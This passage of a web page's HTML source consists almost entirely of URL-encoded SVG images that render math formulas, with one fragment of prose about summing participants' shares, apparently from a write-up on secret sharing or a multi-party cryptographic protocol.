22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.851%204.849c0%20.598-.585.897-1.235.897-.559%200-1.001-.299-1.339-.897-.273.598-.728.897-1.391.897-.637%200-1.157-.299-1.573-.884C.962%204.355.78%203.978.78%203.731c0-.117.065-.182.195-.182.117%200%20.195.065.221.182.247.754.793%201.638%201.664%201.638.429%200%20.637-.273.637-.806%200-.273-.234-1.287-.689-3.029-.221-.871-.611-1.3-1.17-1.3-.182%200-.351.039-.494.104q.507.195.507.702c0%20.338-.169.507-.52.507-.429%200-.754-.364-.754-.793%200-.598.611-.897%201.248-.897.546%200%20.988.299%201.339.897.247-.598.715-.897%201.391-.897.624%200%201.144.299%201.56.884.351.507.533.884.533%201.131%200%20.117-.065.182-.195.182-.117%200-.182-.065-.221-.182C5.811%201.131%205.226.234%204.381.234c-.429%200-.65.26-.65.793%200%20.169.065.533.208%201.118L4.381%203.9c.247.975.65%201.469%201.222%201.469.182%200%20.351-.039.494-.104-.351-.117-.52-.351-.52-.702%200-.338.182-.507.533-.507.416%200%20.741.377.741.793%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.676em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; from the equation and get the sum of all shares for each participant.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22183.3866222222222pt%22%20height%3D%2275.1954pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20183.3866222222222%2075.1954%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2011.14%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.922%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2026.685%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.645%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2037.181%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2048.471%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2048.872%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2053.557%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.093%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2071.02%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2077.88%2022.19%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2082.624%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2088.07%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2094.034%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20102.59%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20120.463%2018.732%29%22%2F%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20109.594%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20114.23%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20120.766%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23o%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20128.959%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20132.28%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23p%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20136.916%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20144.54%2034.524%29%22%2F%3E%3C%2Fg%3E%3Cuse%20xlink%3Ahref%3D%22%23q%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20164.498%209.254%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20152.958%2028.336%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23r%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20162.034%2028.336%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23q%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20176.037%2028.336%29%22%2F%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23000000%22%20stroke-width%3D%220.672%22%20d%3D%22M152.958%2015.232h29.029%22%20class%3D%22typst-shape%22%2F%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2011.14%2059.178%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.922%2059.178%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2026.685%2074.774%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.645%2074.774%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2037.181%2074.774%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2048.471%2059.178%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2055.331%2062.636%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.074%2059.178%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23s%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2065.52%2059.178%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2072.52%2059.178%29%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.97%206.188c-.616%200-1.204-.322-1.778-.966-.154.644-.588.966-1.274.966-.574%200-.994-.462-1.288-1.372-.14-.462-.21-.728-.21-.812%200-.126.07-.196.224-.196.07%200%20.112.014.154.042.07.126.112.224.126.322.252%201.064.574%201.596.952%201.596.252%200%20.378-.196.378-.574%200-.21-.028-.448-.098-.7L.616-1.652C.49-2.114.476-2.17-.07-2.17c-.252%200-.378-.112-.378-.322%200-.154.084-.224.238-.224.21%200%20.938.042%201.148.042.266%200%201.106-.042%201.372-.042.21%200%20.308.112.308.336%200%20.14-.126.21-.392.21-.252%200-.63-.014-.63.154%200%20.182.574%202.38.63%202.618.28-.518.7-.784%201.26-.784.91%200%201.708.462%202.408%201.4.644.854.966%201.764.966%202.702%200%201.218-.728%202.268-1.89%202.268m-.042-.42c.546%200%20.826-.42.826-1.246%200-.378-.084-.882-.238-1.512C5.194%201.792%204.788.994%204.298.588%204.004.35%203.738.224%203.472.224c-.406%200-.686.182-.84.56-.126.294-.196.504-.196.616l.714%202.926c.07.308.322.63.714.952s.742.49%201.064.49%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%205.138H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322%200%20.168-.154.322-.336.322m0-2.632H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322a.33.33%200%200%201-.336.322%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22m17.71-6.3%201.736%204.564h-.476A3.87%203.87%200%200%200%2017.612-3.5C16.03-4.676%2014-4.984%2011.074-4.984H2.8l7%208.232c.098.098.14.196.14.266l-6.524%209.002h7.518c2.646%200%204.844-.336%206.286-1.26q1.26-.798%201.764-1.974h.462L17.71%2013.3H1.232c-.252%200-.392-.042-.434-.126-.014-.042-.014-.21-.014-.504l7.35-10.052L.952-5.81c-.098-.112-.154-.21-.154-.28%200-.14.14-.21.434-.21Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.185%206.086a.41.41%200%200%201-.421.411c-.294%200-.579-.274-.579-.568a.41.41%200%200%201%20.422-.412c.294%200%20.578.275.578.569M1.882%204.35q-.692%200-1.088-.705C.568%203.254.46%202.979.46%202.822c0-.107.068-.156.196-.156q.159%200%20.215.176c.226.774.549%201.156.98%201.156.137%200%20.206-.098.206-.303%200-.128-.098-.441-.294-.951l-.608-1.558a1.2%201.2%200%200%201-.088-.422c0-.51.441-.862.95-.862.461%200%20.814.235%201.079.715.225.392.333.657.333.804%200%20.108-.069.167-.196.167q-.09-.013-.196-.157a.1.1%200%200%201-.02-.04C2.793.638%202.47.256%202.048.256q-.206%200-.206.294c0%20.147.05.353.157.607l.774%202.01a1%201%200%200%201%20.06.323c0%20.51-.442.862-.951.862%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.517.04H3.655a2.3%202.3%200%200%200-1.617.626%202.35%202.35%200%200%200-.764%201.549h4.243q.236%200%20.236.235t-.236.235H1.274a2.35%202.35%200%200%200%20.764%201.549%202.3%202.3%200%200%200%201.617.627h1.862c.157%200%20.236.078.236.225q0%20.235-.236.235H3.655c-.793%200-1.47-.274-2.028-.833C1.068%203.93.794%203.254.794%202.45S1.068.97%201.627.412c.558-.559%201.235-.833%202.028-.833h1.862q.236%200%20.236.235c0%20.117-.108.225-.236.225%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.411%201.01c0%20.215-.108.323-.353.323-.343%200-.548-.157-.637-.47-.166-.638.343-.97.97-.97.54%200%201.04.176%201.51.519s.872.96%201.186%201.842c.068.216.127.402.166.559%201.666%200%203.146.833%203.489%202.205.04.166.059.313.059.45%200%20.265-.079.49-.226.667-.343.392-1.117.588-2.312.598l.039.186-.118.039-.705-.245a4.85%204.85%200%200%201-2.02-.431c-.754-.353-1.205-.843-1.361-1.46-.118-.48-.01-.726.313-.726.108%200%20.235.05.373.138a.57.57%200%200%201%20.196.343c0%20.039%200%20.127-.02.274%200%20.186.01.314.02.382.215.774%201.303%201.108%202.39%201.117l-.989-3.93c-.245-.95-.559-1.567-.95-1.852-.265-.186-.5-.284-.696-.284-.245%200-.373.098-.373.284%200%20.079.05.353.05.441m5.273%204.958a.94.94%200%200%200%20.264-.666c0-.108-.02-.216-.049-.333Q6.444%203.19%204.341%203.175l.794%203.175q.662%200%20.97-.088.429-.132.579-.294%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M.431.696q.045%200%20.412.323l.313.275q.25-1.412%201.265-1.412c.401%200%20.882.216%201.44.657.167.137.255.235.255.304%200%20.088-.098.225-.186.225-.05%200-.128-.049-.235-.157Q2.945.236%202.43.235c-.284%200-.47.186-.539.569a4%204%200%200%200-.078.705c0%20.196.01.412.127.53C3.518%203.537%204.302%204.86%204.302%206.016q0%20.882-.676.882c-.539%200-1.078-.52-1.627-1.558a8.3%208.3%200%200%201-.754-2.117%206.7%206.7%200%200%201-.147-1.45%208%208%200%200%200-.696-.627Q.225%201%20.225.91c0-.098.108-.215.206-.215m3.185%205.85c.206%200%20.304-.156.304-.46%200-1.03-.657-2.205-1.98-3.509.118.637.314%201.412.598%202.303.177.52.618%201.666%201.078%201.666%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.728%208.862c0%20.616-.602%201.008-1.26%201.008-.868%200-1.47-.56-1.792-1.666-.07-.252-.224-.966-.448-2.142h-.91c-.308%200-.462-.014-.462-.308%200-.154.14-.224.434-.224h.84L3.108.112c-.154-.798-.294-1.386-.42-1.778-.168-.518-.406-.784-.714-.784a.95.95%200%200%200-.532.15